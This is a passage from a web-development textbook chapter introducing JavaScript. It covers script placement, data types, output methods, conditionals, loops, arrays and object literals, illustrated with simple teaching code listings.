user and present security risks. With the universal adoption of JavaScript and
HTML5, JavaScript remains the most dynamic and important client-side
scripting language for the modern web developer.

8.1.2 JavaScript's History
JavaScript was introduced by Netscape in their Navigator browser back in
1996. It originally was called LiveScript, but was renamed partly because one
of its original purposes was to provide a measure of control within the
browser over Java applets.

Internet Explorer (IE) at first did not support JavaScript, but instead had its
own browser-based scripting language (VBScript). While IE soon supported
JavaScript, Microsoft sometimes referred to it as JScript, primarily for
trademark reasons (Oracle currently owns the trademark for JavaScript).

To muddy the waters further, Netscape submitted JavaScript to Ecma
International, a private, nonprofit standards organization. Formerly approved
in 1997, ECMAScript is simultaneously a superset and subset of the
JavaScript programming language. That is, the JavaScript that is supported
by your browser contains language features not included in the current
ECMAScript specification while also missing certain language features from
that specification.

The latest version of ECMAScript is the Sixth Edition (generally referred to
as ES6 or ES2015). This is a significant new version of the language, and
adds substantial new features to the language, such as classes, iterators, arrow
functions, and promises. Unfortunately, browser and server support for many
of these newer ES6 language features is, at the time of writing, still uneven.

8.1.3 JavaScript and Web 2.0
One of this book's authors first started teaching web development in 1998. At
that time, JavaScript was only slightly useful, and quite often, very annoying



to many users. Back then JavaScript had only a few common uses: graphic
roll-overs (that is, swapping one image for another when the user hovered the
mouse over an image), pop-up alert messages, scrolling text in the status bar,
opening new browser windows, and prevalidating user data in online forms.

It wasn't until the middle of the 2000s with the emergence of so-called Web
2.0 or AJAX-enabled sites that JavaScript became a much more important
part of web development. AJAX is both an acronym as well as a general
term. As an acronym it means Asynchronous JavaScript and XML, which
was accurate for some time; but since XML is no longer the prevalent data
format for data transport in AJAX sites, the acronym meaning is becoming
less and less accurate. As a general term, AJAX refers to a style of website
development that makes use of JavaScript to create more interactive user
experiences.

The most important way that this interactivity is created is via asynchronous
data requests via JavaScript and the XMLHttpRequest object. This addition to
JavaScript was introduced by Microsoft as an ActiveX control (the IE version
of browser plug-ins) in 1999, but it wasn't until sophisticated websites by
Google (such as Gmail and Maps) and Flickr demonstrated what was possible
using these techniques that the term AJAX became popular. Chapters 10 and
19 will cover AJAX in much more detail.

8.1.4 JavaScript in Contemporary
Software Development
While JavaScript is still predominately used to create user interfaces in
browser-based applications, its role has expanded beyond the constraints of
the browser, as seen in Figure 8.4 .



Figure 8.4 JavaScript in
contemporary software
development

Figure 8.4 Full Alternative Text

Thanks in part to Google, Mozilla, and Microsoft releasing V8,
SpiderMonkey, and Chakra (their respective JavaScript engines) as open-



source projects which can be embedded into any C++ application, JavaScript
has migrated into other non-browser applications. It can be used as the
language within server-side runtime environment such as Node.js. Some
newer non-relational database systems such as MongoDB use JavaScript as
their query language. Complex desktop applications such as Adobe Creative
Suite or OpenOffice.org use JavaScript as their end-user scripting language.
A wide variety of hardware devices such as the Oculus Rift headset and the
Arduino and Raspberry Pi microcontrollers make use of an embedded
JavaScript engine. Indeed, JavaScript appears poised to be the main language
for the emerging Internet of Things.

Part of the reason for JavaScript's emergence as one of, or perhaps even, the
most important programming language in software development, is the vast
programming ecosystem that has developed around JavaScript in the past
decade. This ecosystem of JavaScript libraries has made many previously
tricky and tiresome JavaScript tasks much easier.

These libraries of JavaScript functions and objects are generally referred to as
JavaScript frameworks. Some of these frameworks extend the JavaScript
language; others provide functions and objects to simplify the creation of
complex user interfaces. jQuery, in particular, has an extremely large user
base, used on over half of the top 100,000 websites. There are thousands of
jQuery plug-ins, which allow a developer to easily add functionality such as
image carousels, floating tool tips, modal dialogs, sortable tables, interactive
charts, and many other functions.

The past several years have witnessed a veritable deluge of new JavaScript
frameworks. JavaScript user interface frameworks such as React and jQuery
UI have become quite popular among developers. MVC Frameworks such as
AngularJS, Backbone, and Ember have gained a lot of interest from
developers wanting to move more data processing and handling from server-
side scripts to HTML pages using software engineering best practices. You
will learn more about this pattern in Chapter 17. You will also learn more
about some popular frameworks in Chapters 10 and 20.

http://OpenOffice.org


8.2 Where Does JavaScript Go?
JavaScript can be linked to an HTML page in a number of ways. Just as CSS
styles can be inline, embedded, or external, JavaScript can be included in a
number of ways. Just as with CSS these can be combined, but external is the
preferred method for simplifying the markup page and ease of maintenance.

Running JavaScript scripts in your browser requires downloading the
JavaScript code to the browser and then running it. Pages with lots of scripts
could potentially run slowly, resulting in a degraded experience while users
wait for the page to load. Different browsers manage the downloading and
loading of scripts in different ways, which are important things to realize
when you decide how to link your scripts.

8.2.1 Inline JavaScript
Inline JavaScript refers to the practice of including JavaScript code directly
within certain HTML attributes, such as that shown in Listing 8.1.

Listing 8.1 Inline JavaScript
example
<a href=“JavaScript:OpenWindow();”>more info</a> 

<input type=“button” onClick=“alert(‘Are you sure?’);” />

You may recall that in Chapter 4 on CSS you were warned that inline CSS is
in general a bad practice and should be avoided. The same is true with
JavaScript. In fact, inline JavaScript is much worse than inline CSS, as
maintaining inline JavaScript is a real nightmare, requiring maintainers to
scan through almost every line of HTML looking for your inline JavaScript.



8.2.2 Embedded JavaScript
Embedded JavaScript refers to the practice of placing JavaScript code within
a <script> element as shown in Listing 8.2. Like its equivalent in CSS,
embedded JavaScript is okay for quick testing and for learning scenarios, but
is frowned upon for normal real-world pages. Like with inline JavaScript,
embedded scripts can be difficult to maintain.

Hands-On Exercises Lab 8
Exercise
Embedded JavaScript

Listing 8.2 Embedded JavaScript
example
<script type=“text/javascript”> 

   /* A JavaScript Comment */ 

   alert(“Hello World!”); 

</script>

Pro Tip
Some high traffic sites prefer using embedded styles and JavaScript scripts to
reduce the number of GET requests they must respond to from each client.
Sites like the main page for Google search, embed styles and JavaScript in
the HTML to speed up performance by reducing the need for extra HTTP
requests. In these cases performance improves because the size of the
embedded styles and JavaScript are quite modest.



For most sites and pages, external JavaScript (and CSS) will in fact provide
the best performance because for frequently visited sites, the external files
will more than likely be cached locally by the user's browser if those external
files are referenced by multiple pages in the site.

Thus, if users for a site tend to view multiple pages on that site with each
visit, and many of the site's pages reuse the same scripts and style sheets, then
the site will likely benefit from cached external files.

8.2.3 External JavaScript
Since writing code is a different competency than designing HTML and CSS,
it is often advantageous to separate the two into different files. JavaScript
supports this separation by allowing links to an external file that contains the
JavaScript, as shown in Listing 8.3.

Listing 8.3 External JavaScript
example
<head> 

   <script type=“text/javascript” src=“greeting.js”></script> 

</head>

Hands-On Exercises Lab 8
Exercise
External JavaScript

This is the recommended way of including JavaScript scripts in your HTML
pages.



By convention, JavaScript external files have the extension .js. Modern
websites often have links to several, maybe even dozens, of external
JavaScript files (also called libraries). These external files typically contain
function definitions, data definitions, and other blocks of JavaScript code.

In Listing 8.3, the link to the external JavaScript file is placed within the
<head> element, just as was the case with links to external CSS files. While
this is convention, it is in fact possible to place these links anywhere within
the <body> element. We certainly recommend placing them either in the
<head> element or the very bottom of the <body> element.

The argument for placing external scripts at the bottom of the <body> has to
do with performance. A JavaScript file has to be loaded completely before
the browser can begin any other downloads (including images). For sites with
multiple external JavaScript files, this can cause a noticeable delay in initial
page rendering. Similarly, if your page is loading a third-party JavaScript
library from an external site, and that site becomes unavailable or especially
slow, then your pages will be rendered especially slow.

Nonetheless, it is not uncommon for JavaScript to insert markup into the page
before loading, and in such a case the JavaScript must be within the <head>.
In this book we will often place our links to external JavaScript files within
the <head> in the name of simplicity, but in a real-world scenario, we would
likely try moving them to the end of the document for the aforementioned
performance reasons.

Pro Tip
Just as we saw with CSS in Chapter 7, production sites generally minify their
external JavaScript code. Recall that minification refers to the process of
removing unnecessary characters such as extra spaces and comments in order
to reduce the size of the code and thus reduce the time it takes to download it.
Your programming editor may be able to minify your code. As well, there are
numerous websites that can minify your code.



8.2.4 Advanced Inclusion of
JavaScript
Imagine for a moment a user with a browser that has JavaScript disabled.
When downloading a page, if the JavaScript scripts are embedded in the
page, they must download those scripts in their entirety, despite being unable
to process them. A subtler version of that scenario is a user with JavaScript
enabled, who has a slow computer, or Internet connection. Making them wait
for every script to download may have a net negative impact on the user
experience if the page must download and interpret all JavaScript before
proceeding with rendering the page. It is possible to include JavaScript in
such a way that minimizes these problems. (Due to their advanced nature the
details are described in the labs available for download.)

One approach is to load one or more scripts (or stylesheets) into an <iframe>
on the same domain. In such an advanced scenario, the main JavaScript code
in the page can utilize functions in the <iframe> using the DOM hierarchy to
reference the frame.

Another approach is to load a JavaScript file from within another JavaScript
file. In such a scenario, a simple JavaScript script is downloaded, with the
only objective of downloading a larger script later, upon demand or perhaps
after the page has finished loading. We will see how social networks use this
technique extensively in the Chapter 24.

8.2.5 Users without JavaScript
Too often website designers believe (erroneously) that users without
JavaScript are somehow relics of a forgotten age, using decade old computers
in a bomb shelter somewhere philosophically opposed to updating their OS
and browsers and therefore not worth worrying about. Nothing could be more
of a straw man argument. Users have a myriad of reasons for not using
JavaScript and include some of our most important users like search engines.
A client may not have JavaScript because they are a web crawler, have a



browser plug-in, are using a text browser, or are visually impaired.

Hands-On Exercises Lab 8
Exercise
Enabling/Disabling JavaScript

Web crawler. A web crawler is a client running on behalf of a search
engine to download your site, so that is can eventually be featured in
their search results. These automated software agents do not interpret
JavaScript, since it is costly, and the crawler cannot see the results of
executing the JavaScript anyways.

Browser plug-in. A browser plug-in is a piece of software that works
within the browser and might interfere with JavaScript. There are many
uses of JavaScript that are not desirable to the end user. Many malicious
sites use JavaScript to compromise a user's computer, and many ad
networks deploy advertisements using JavaScript. This motivates some
users to install plugins that stops JavaScript execution. An adblocking
plugin, for example, may filter JavaScript scripts that include the word
ad, so a script named advanced.js would be blocked inadvertently.

Text-based client. Some clients are using a text-based browser. Text-
based browsers are widely deployed on web servers, which are often
accessed using a command-line interface. A website administrator might
want to see what an HTTP GET request to another server is returning for
testing or support purposes. Such software includes Lynx as shown in
Figure 8.5 .



Figure 8.5 Surfing the web
with Lynx

Figure 8.5 Full Alternative Text

Visually disabled client. A visually disabled client will use special web-
browsing software to read the contents of a web page out loud to them.
These specialized browsers do not interpret JavaScript thus sites reliant
on JavaScript are not accessible to these users. Designing for these users
requires some extra considerations, with lack of JavaScript being only
one of them. Figure 8.6 illustrates how an open-source browser like
WebIE would display Figure 8.5 .



Figure 8.6 WebIE, browser
for the visually impaired

Figure 8.6 Full Alternative Text

The <NoScript> Tag
Now that we know there are many sets of users that may have JavaScript
disabled, we may want to make use of a simple mechanism to show them



special HTML content that will not be seen by those with JavaScript. That
mechanism is the HTML tag <noscript>. Any text between the opening and
closing tags will only be displayed to users without the ability to load
JavaScript. It is often used to prompt users to enable JavaScript, but can also
be used to show additional text to search engines.

Hands-On Exercises Lab 8
Exercise
Using NoScript

Increasingly, websites that focus on JavaScript or Flash only risk missing out
on an important element to help get them noticed: search engine optimization
(SEO). Moreover, older or mobile browsers may not have a complete
JavaScript implementation. Requiring JavaScript (or Flash) for the basic
operation of your site will cause problems eventually and should be avoided.
In this spirit, we should create websites with all the basic functionality
enabled using regular HTML. For the majority of users with JavaScript
enabled we can then enhance the basic layout using JavaScript to: embellish
the look of certain elements, animate certain user interactions, prevalidate
forms, and generally replace static HTML elements with more visually and
logically enhanced ones. Some examples of this principle would be by
replacing submit buttons with animated images, or adding dropdown menus
to an otherwise static menu structure.

This approach of adding functional replacements for those without JavaScript
is also referred to as fail-safe design, which is a phrase with a meaning
beyond web development. It means that when a plan (such as displaying a
fancy JavaScript popup calendar widget) fails (because, for instance,
JavaScript is not enabled), then the system's design will still work.

Note



The Google search crawlers have started to interpret some asynchronous
JavaScript portions of websites, but only by request, and only related to
certain asynchronous aspects of JavaScript.1 Nonetheless, failsafe design is
still the best way to design your site, and ensure it works for everyone,
including search crawlers.

Security note
While the previous examples describe benign users with special needs,
circumventing JavaScript is also a technique used by malicious and curious
clients. You must remember that at the end of the day only HTTP requests
are sent to the server, and nothing you expect to be done by JavaScript is
guaranteed, since you do not have control over the client's computer.



8.3 Variables and Data Types
When one learns a new programming language, it is conventional to begin
with variables and data types. We will begin with these topics as well.

Variables in JavaScript are dynamically typed, meaning that you do not have
to declare the type of a variable before you use it. This means that a variable
can be a number, and then later a string, then later an object, if so desired.
This simplifies variable declarations, since we do not require the familiar
data-type identifiers (such as int, char, and String) of programming
languages like Java or C#.

Figure 8.7 illustrates that to declare a variable in JavaScript, we simply use
the var keyword (a keyword is a reserved word with special meaning within
the language) followed by the name of the variable and a semicolon. If you
do not specify an initial value its initial value will be undefined. For instance,
in Figure 8.7 , the variable abc has a value of undefined.



Figure 8.7 Variable declaration
and assignment

Figure 8.7 Full Alternative Text

Variables should always be defined using the var keyword. While you can in
fact define variables without using var, doing so will give a variable global
scope. As we will discover later when we discuss functions and scope, this is
almost always a mistake. For this reason, get in the practice of always
declaring variables with the var keyword.

Assignment can happen at declaration time by appending the value to the
declaration, or at runtime with a simple right to left assignment as illustrated
in Figure 8.7 . This syntax should be familiar to those who have programmed
in languages like C and Java.

Note
JavaScript is a case-sensitive language. Thus these two lines declare and
initialize two different variables:

var count = 5;

var Count = 9;

There are several additional things worth noting and expanding upon in
Figure 8.7 .

First, notice that each line of JavaScript is terminated with a semicolon. If
you forget to add the semicolons, the JavaScript engine will still
automatically insert them. However, you are strongly advised to not rely on
this feature and instead get in the habit of always terminating your JavaScript
lines with a semicolon.

Second, notice that whitespace around variables, keywords, and other



symbols have no meaning. Indeed, as can be seen in Figure 8.7 , a single line
of JavaScript can span multiple lines.

Note
There are two styles of comment in JavaScript, the end-of-line comment
which starts with two slashes //, and the block comment, which begins with /*
and ends with */.

Pro Tip
JavaScript accepts a very wide range of symbols within identifier (that is,
variable or function) names. An identifier must begin with a $, _, or any
character within one of several different Unicode categories (we need not list
them all here). This means a JavaScript variable or function name can look
quite unusual in comparison to a language like Java.

For instance, the following are all valid JavaScript variables.

// uses Greek character

var π = 3.1415;

// uses Kannada character

var  = “disapproval”;

// uses Katakana characters

var  = θ;

var  = ;

8.3.1 Data Types
JavaScript has two basic data types: reference types (usually referred to as
objects) and primitive types (i.e., nonobject, simple types). What makes
things a bit confusing for new JavaScript developers is that the language lets
you use primitive types as if they are objects. The reason for this slipperiness
is that objects in JavaScript are absolutely crucial. Almost everything within



the language is an object, so the language provides easy ways to use
primitives as objects.

Primitive types represent simple forms of data. ES2015 defines six
primitives, which can be seen in Table 8.1. JavaScript also has object
representations of these primitives, which can be confusing!

Table 8.1 Primitive Types
Data type Description
Boolean True or false value

Number Represents some type of number. Its internal format is a
double precision 64-bit floating point value.

String Represents a sequence of characters delimited by either
the single or double quote characters.

Null Has only one value: null.

Undefined
Has only one value: undefined. This value is assigned
to variables that are not initialized. Notice that
undefined is different from null.

Symbol New to ES2015, a symbol represents a unique value
that can be used as a key value.

Primitive variables contain the value of the primitive directly within memory.
In contrast, object variables contain a reference or pointer to the block of
memory associated with the content of the object. Figure 8.8 illustrates the
difference in memory between primitive and reference variables.



Figure 8.8 Primitive types
versus reference types
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Even though the variables def and xyz in Figure 8.8 have the same content,
because they are primitive types, they have separate memory locations. Thus,



if we change the content of variable def, it will have no effect on variable
xyz. But as you can see, since the variables foo and bar are reference types,
they point to the memory of an object instance. Thus changing the object they
both point to (e.g., bar[0]=200) affects both instances (e.g., both bar[0] and
foo[0] are equal to 200).

8.3.2 Reference Types
The example in Figure 8.8 illustrates the difference between primitive types
and reference types. As mentioned earlier, reference types are more generally
referred to as objects. Later in this chapter, we will spend quite a bit of time
creating our own custom objects. But before we do that, we should mention
that JavaScript has a variety of objects you can use at any time, such as
arrays, functions, and the built-in objects. Some of the most commonly used
built-in objects include: Object, Function, Boolean, Error, Number, Math,
Date, String, and Regexp.

We will also frequently make use of several vital objects which are not part
of the language, but are part of the browser environment. These include the
document, console, and window objects.

All of these objects have properties and methods (see note) that you can use.
For instance, the following example creates an object that uses one of these
built-in functions (via the new keyword) and then invokes the toString()
method.

var def = new Date(); 

// sets the value of abc to a string containing the current date 

var abc = def.toString();

Note
In object-oriented languages, a property is a piece of data that “belongs” to an
object; a method is an action that an object can perform.



In JavaScript, an object is an unordered list of properties. Each property
consists of a name and a value. Since functions are also objects, a property
value can contain a function. We will address this idea in more detail in the
section on Objects later. For now, we will use the term method to identify
object properties that are functions.

To access the properties or methods of an object, you generally will use dot
notation. For instance, the following two lines access a property and a
method of the built-in Math object.

var pi = Math.PI;

var tmp = Math.random();



8.4 JavaScript Output
One of the first things one learns with a new programming language is how
to output information. For JavaScript that is running within a browser, we
have several options as shown in Table 8.2.

Table 8.2 Output Methods
Method Description

alert() Displays content within a pop-up box.

console.log() Displays content in the Browser's JavaScript
console.

document.write() Outputs the content (as markup) directly to the
HTML document.

When first learning JavaScript, one often uses the alert() method. It makes
the browser show a pop-up to the user, with whatever is passed being the
message displayed. The following JavaScript code displays a simple hello
world message in a pop-up:

alert(“Hello world”);

The pop-up may appear different to each user depending on their browser
configuration. What is universal is that the pop-up obscures the underlying
web page, and no actions can be done until the pop-up is dismissed.

Alerts are generally not used in production code, but are a useful tool for
debugging and illustration purposes. However, using alerts can get tedious
fast. You have to click OK, and if you use it in a loop you may spend more
time clicking OK than doing meaningful work. As an alternative, the
examples in this chapter will often use the console.log() method since
console output doesn't interfere with the HTML content (see Figure 8.9 ).



Figure 8.9 Chrome JavaScript
console

Figure 8.9 Full Alternative Text
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Finally, the document.write() method can be a useful way to output markup



content from within JavaScript. This method is often used to output markup
or to combine markup with JavaScript variables, as shown in the following
example:

var name = “Randy”; 

document.write(“<h1>Title</h1>”); 

// this uses the concatenate operator (+) 

document.write(“Hello “ + name + ” and welcome”);

At first glance, this method seems especially useful, since it appears
comfortably close to PHP's echo statement or Java's System.out.println().
In this case, appearances can be deceiving.

The JavaScript document.write() method outputs a string of text to the
document stream. Thus, it matters where in the document the method call
resides. A call that injects text out of place may overwrite existing content or
may get shifted to an inappropriate location. Figure 8.10 illustrates a
simplified example of what appears to be puzzling document.write()
behavior. Notice how the first call to document .write() shifts the
subsequent calls to the <body>. If we remove the first call, then the browser
will recognize that the <meta> and <link> content belong in the <head> and
will show up there.



Figure 8.10 Fun with the
document.write() method



Figure 8.10 Full Alternative Text

Note
While several of the examples in this chapter make use of document
.write(), the usual (and more trustworthy) way to generate content that we
want to see in the browser window will be to use the appropriate JavaScript
DOM (Document Model Object) method. We will learn how to do that in the
next chapter.



8.5 Conditionals
JavaScript's syntax for conditional statements is almost identical to that of
PHP, Java, or C++. In this syntax the condition to test is contained within ()
brackets with the body contained in {} blocks. Optional else if statements
can follow, with an else ending the branch. Listing 8.4 uses a conditional to
set a greeting variable, depending on the hour of the day.
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Listing 8.4 Conditional statement
setting a variable based on the hour
of the day
var hourOfDay;  // var to hold hour of day, set it later … 

var greeting;   // var to hold the greeting message 

if  (hourOfDay > 4 && hourOfDay < 12)  { 

   greeting = “Good Morning”; 

} 

else if  (hourOfDay >= 12 && hourOfDay < 18)  { 

   greeting = “Good Afternoon”; 

} 

else { 

   greeting = “Good Evening”; 

}



Pro Tip
In a conditional block with only one line of code within it, the { } are
optional. For instance, the following conditional is syntactically legal.

if (someVariable > 50)

   document.write(“greater than 50”);

else

   document.write(“not greater than 50”);

document.write(“this happens regardless of the conditionals”);

While this is correct, the lack of curly brackets in this example provides an
opportunity for a future bug. Imagine sometime later we need to add another
element to one of the condition states (that is, change it from a single line to a
block). In such a case, we might not notice that the curly brackets are missing
and get fooled by the indentation. For instance, can you find the bug in the
following code?

if (someVariable > 50)

   document.write(“greater than 50”);

else

   document.write(“not greater than 50”);

   document.write(“please enter a larger number”);

document.write(“this happens regardless of the conditionals”);

The message “please enter a larger number” is displayed regardless of the
value of someVariable because the condition block without the curly
brackets can only be one line long.

Therefore, we would recommend that you get into the practice of always
using curly brackets for conditional blocks, regardless of whether they are
one line long.

As well, most JavaScript Lint tools (see Tools Insight section of Chapter 9
for more information) will insist that you place the first curly bracket on the
same line as the if statement (or for, while, or function statement) as
shown in Listing 8.4.

The switch statement is similar to a series of if…else statements. An



example using switch is shown in Listing 8.5.

Listing 8.5 Conditional statement
using switch and an equivalent if-
else
switch  (artType) { 

  case  “PT”: 

     output = “Painting”; 

     break; 

  case  “SC”: 

     output = “Sculpture”; 

     break; 

  default: 

     output = “Other”; 

} 

// equivalent 

if (artType == “PT”) { 

   output = “Painting”; 

} else if (artType == “SC”) { 

   output = “Sculpture”; 

} else { 

   output = “Other”; 

}

You will likely find that you tend to use the if…else construct much more
frequently than the switch statement since it gives you more control over
conditional tests and more easily allows for nested conditional logic.

Speaking of conditional tests, JavaScript has all of the expected comparator
operators, which are shown in Table 8.3.

Table 8.3 Comparator
Operations



Operator Description Matches (assume
x=9)

== Equals
(x == 9) is true

(x == “9”) is true

=== Strict equality, including type
(x === “9”) is false

(x === 9) is true

< , > Less than, greater than (x < 5) is false

<= , >= Less than or equal, greater than or
equal (x <= 9) is true

!= Not equal (x != 4) is true

!== Not equal in either value or type
(x !== “9”) is true

(x !== 9) is false

There is another way to make use of conditionals: the conditional assignment
operator. As can be seen in Figure 8.11 , the conditional assignment operator
is used to assign values based on a condition. Some programmers really
appreciate the conciseness of this operator, though some developers
discourage its use for the same reason.

Figure 8.11 The conditional



assignment operator
Figure 8.11 Full Alternative Text

Note
Just like with Java, C#, and PHP, JavaScript expressions use the double
equals (==) for comparison. If you use the single equals in an expression,
then variable assignment will occur.

What is unique in JavaScript is the triple equals (===), which only returns
true if both the type and value are equal. This comparator is needed because
JavaScript will coerce a primitive type to an object type when it is being
compared to another object with the double equals. JavaScript will also use
type coercion when comparing two primitive values of different types.

8.5.1 Truthy and Falsy
As we saw in back in Table 8.3, there is an explicit Boolean primitive type
that can be assigned to a true or false value. One of the interesting aspects
of conditionals in JavaScript is the fact that everything in JavaScript has an
inherent Boolean value. This inherent Boolean value will be used when a
value is being evaluated in a Boolean context (for instance, in an if
condition). In JavaScript, a value is said to be truthy if it translates to true,
while a value is said to be falsy if it translates to false.

All values in JavaScript, with a few exceptions described shortly, are truthy.
For instance, in the following example, the hello message will be written
because 35 is a truthy value.

var abc = 35; 

if (abc) { 

   document.write(“hello”); 

}



What values are falsy? In JavaScript, false, null, “”, '', 0, NaN, and
undefined are all falsy.



8.6 Loops
Loops are used to execute a code block repeatedly. JavaScript defines three
principal statements for executing loops: the while statement, the do…while
statement, and the for statement.

Like conditionals, loops use the () and {} blocks to define the condition and
the body of the loop respectively.

8.6.1 While and do … while Loops
The while loop and the do…while loop are quite similar. Both will execute
nested statements repeatedly as long as the while expression evaluates to true.
In the while loop, the condition is tested at the beginning of the loop; in the
do … while loop the condition is tested at the end of each iteration of the
loop. Listing 8.6 provides examples of each type of loop.

Listing 8.6 While loops
var count = 0; 

while (count < 10) { 

   // do something 

   // … 

  count++; 

} 

count = 0; 

do { 

   // do something 

  // … 

  count++; 

} while (count < 10);

As you can see from this example, while loops normally initialize a loop
control variable before the loop, use it in the condition, and modify it within
the loop. One must be sure that the variables that make up the condition are



updated inside the loop (or elsewhere) to avoid an infinite loop!

8.6.2 For Loops
For loops combine the common components of a loop: initialization,
condition, and postloop operation into one statement. This statement begins
with the for keyword and has the components placed within () brackets, and
separated by semicolons (;) as shown in Figure 8.12 .

Figure 8.12 For loop
Figure 8.12 Full Alternative Text

Probably the most common postloop operation is to increment a counter
variable, as shown in Figure 8.12 . An alternative way to increment this
counter is to use i+=1 instead of i++.

There are two additional, more specialized, variations of the basic for loop.
There is a for…in loop and in ES2015, a for…of loop. The for…in loop is
used for iterating through enumerable properties of an object, while the more
useful for…of loop is used to iterate through iterable objects. At the time of
writing, however, browser support for the for…of loop is not strong. The
applicability of the for…in loop is quite narrow; the Extended Example at the
end of this chapter provides an example of its use.

Note



Infinite loops can happen if we are not careful, and since the scripts are
executing on the client computer, it can appear to them that the browser is
“locked” while endlessly caught in a loop processing. Some browsers will
even try to terminate scripts that execute for too long a time to mitigate this
unpleasantness.



8.7 Arrays
When we planned the rewriting of this chapter, one of the trickiest
organizational decisions to make was the order in which to cover arrays,
objects, and functions. To help us with this decision, we looked at over a
dozen books on JavaScript to see if we could benefit from the collective
wisdom of these authors and experts. However, there was no consensus to
this question. Since almost everything is an object in JavaScript, some books
cover objects first. Because arrays are a data structure that is familiar to most
programmers, some books cover arrays first. And because functions are so
essential to most JavaScript programming practices, some books cover
functions first. As you can see from the heading of this and the following two
sections, we have decided to cover arrays first, and then objects and functions
but feel free to examine any of the next three sections in a different order if
that is your preference.

Dive Deeper

Errors Using Try and Catch
When the browser's JavaScript engine encounters a run-time error, it will
throw an exception. These exceptions interrupt the regular, sequential
execution of the program and can stop the JavaScript engine altogether.
However, you can optionally catch these errors preventing disruption of the
program using the try … catch block as shown below.

try {

  nonexistantfunction(“hello”);

}

catch(err) {

  alert (“An exception was caught:” + err);

}



Although try … catch can be used exclusively to catch built-in JavaScript
errors, it can also be used by your programs to throw your own error
messages. The throw keyword stops normal sequential execution, just like
the built-in exceptions as shown in the following code example.

The general consensus in software development is that try … catch and
throw statements should be used for abnormal or exceptional cases in your
program. They should not be used as a normal way of controlling flow,
although no formal mechanism exists to enforce that idea. We will generally
avoid try … catch statements in our code unless illustrative of some
particular point. The following example demonstrates the throwing of a user-
defined exception as a string literal. In reality, any object can be thrown,
although in practice a string usually suffices.

try {

     var x = -1;

     if (x<0) {

           throw “smallerthan0Error”;

     }

}  

catch(err) {

     alert (err + “was thrown”);

}

It should be noted that throwing an exception disrupts the sequential
execution of a program. That is, when the exception is thrown all subsequent
code is not executed until the catch statement is reached. This reinforces why
try … catch is for exceptional cases.

Arrays are one of the most commonly used data structures in programming.
In general, an array is a data structure that allows the programmer to collect a
number of related elements together in a single variable.

JavaScript provides two main ways to define an array. The most common
way is to use object literal notation, which has the following syntax:

var name = [value1,  value2, … ];

The second approach to creating arrays is to use the Array() constructor:

var name = new Array(value1,  value2, … );



The literal notation approach is generally preferred since it involves less
typing, is more readable, and executes a little bit quicker. In both cases, the
values of a new array can be of any type. Listing 8.7 illustrates several
different arrays created using object literal notation.

Listing 8.7 Creating arrays using
object literal notation
var years =  [1855, 1648, 1420]; 

// remember that JavaScript statements can be 

// spread across multiple lines for readability 

var countries = [“Canada”, “France”, 

                 “Germany”, “Nigeria”, 

                 “Thailand”, “United States”]; 

// arrays can also be multi-dimensional … notice the commas! 

var month = [ 

        [“Mon”,“Tue”,“Wed”,“Thu”,“Fri”], 

        [“Mon”,“Tue”,“Wed”,“Thu”,“Fri”], 

        [“Mon”,“Tue”,“Wed”,“Thu”,“Fri”], 

        [“Mon”,“Tue”,“Wed”,“Thu”,“Fri”] 

    ]; 

// JavaScript arrays can contain different data types 

var mess =  [53, “Canada”, true, 1420];

Like arrays in other languages, arrays in JavaScript are zero indexed,
meaning that the first element of the array is accessed at index 0 and the last
element at the value of the array's length property minus 1. Listing 8.8
demonstrates how individual elements within an array are accessed via square
bracket notation. Figure 8.13 illustrates the relationship between array index
values.



Figure 8.13 JavaScript array
with indexes and values
illustrated

Figure 8.13 Full Alternative Text
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Listing 8.8 Accessing array elements
// outputs 1855 and then 1420 

console.log(years[0]); 

console.log(years[2]); 

// outputs Canada and then United States 

console.log(countries[0]); 

console.log(countries[5]); 

// outputs Thu 

console.log(month[0][3]); 

// arrays are built-in objects and have a length property defined 

// index will be set to 6 

var index = countries.length; 

// outputs United States again (remember array indexes start at 0)

console.log(countries[index-1]); 

// iterating through an array 

for (var i = 0; i < years.length; i += 1) { 

     console.log(years[i]); 

}

As you can see in Listing 8.8, arrays are built-in objects in JavaScript. This
means that all arrays inherit a variety of properties and methods that can be
used to explore and manipulate an array. For instance, to add an item to the
end of an existing array, you can use the push() method.

countries.push(“Australia”);

The pop() method can be used to remove the last element from an array.
Additional methods that modify arrays include concat(), slice(), join(),
reverse(), shift(), and sort(). A full accounting of all these methods is
beyond the scope of this chapter, but as you begin to use arrays you should
explore them further.



Pro Tip
A common recommendation for improving the efficiency of your JavaScript
loops is to avoid doing an object lookup or calculation on each iteration. For
instance, the following loop contains an inefficient range check
(i<years.length ) at each iteration of the loop.

for (var i = 0;  i < years.length; i += 1) {

   // do something

}

A more efficient way of writing this loop is to cache the upper boundary.

var upper = years.length;

for (var i = 0;  i < upper; i += 1) {

   // do something

}

You can also combine these two lines into the initialization part of the for
statement.

for (var i = 0, upper = years.length; i < upper; i += 1) {



8.8 Objects
Objects are essential to most programming activities in JavaScript. We have
already encountered a few of the built-in objects in JavaScript, namely, arrays
along with the Math, Date, and document objects. In this section we will
learn how to create our own objects and some of the unique features of
objects within JavaScript.

In JavaScript, objects are a collection of named values (which are called
properties in JavaScript). Almost everything within JavaScript is an object (or
can be treated as an object). Unlike languages such as C++ or Java, objects in
JavaScript are not created from classes. Until ES2015 added classes,
JavaScript has lacked classes (however, at the time of writing, this addition to
the language is poorly supported by the major browsers). Instead, we could
say that JavaScript is a prototype-based language in that new objects are
created from already existing prototype objects, an idea that we will examine
more fully in Section 8.10.

Note
As mentioned at the beginning of the previous section, it was difficult to
decide which order to cover the remaining content of this chapter. This
uncertainty was especially acute with the topics of objects and functions.
Ideally one knows functions before covering objects; ideally one knows
objects before covering functions. As a result, some of the content about
objects will be covered in the next section on functions; as well, some of the
material on functions is going to be previewed here in this section on objects.

8.8.1 Object Creation—Object
Literal Notation



JavaScript has several ways to instantiate new objects. The most common
way is to use object literal notation (which we also saw earlier with arrays).
In this notation, an object is represented by a list of key-value pairs with
colons between the key and value, with commas separating key-value pairs,
as shown in the following example:
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var objName = { 

    name1: value1, 

    name2: value2, 

    // …

    nameN: valueN 

};

To reference this object's properties, we can use either dot-notation or square
bracket notation. For instance, in the object just created, we can access the
first property using either of the following.

objName.name1 

objName[“name1”]

Which of these should you use? Generally speaking, you will want to use dot
notation since it is easier to type and read. However, if you need to
dynamically access a property of an object whose name is unknown at design
time (i.e., will be determined at run-time), then square bracket notation will
be needed. As well, if a property name has a space or hyphen or other special
character, then square bracket notation will also be needed.

Note



Objects in JavaScript are sometimes referred to as associative arrays, since
each property value can be accessed via a name or key. We will see
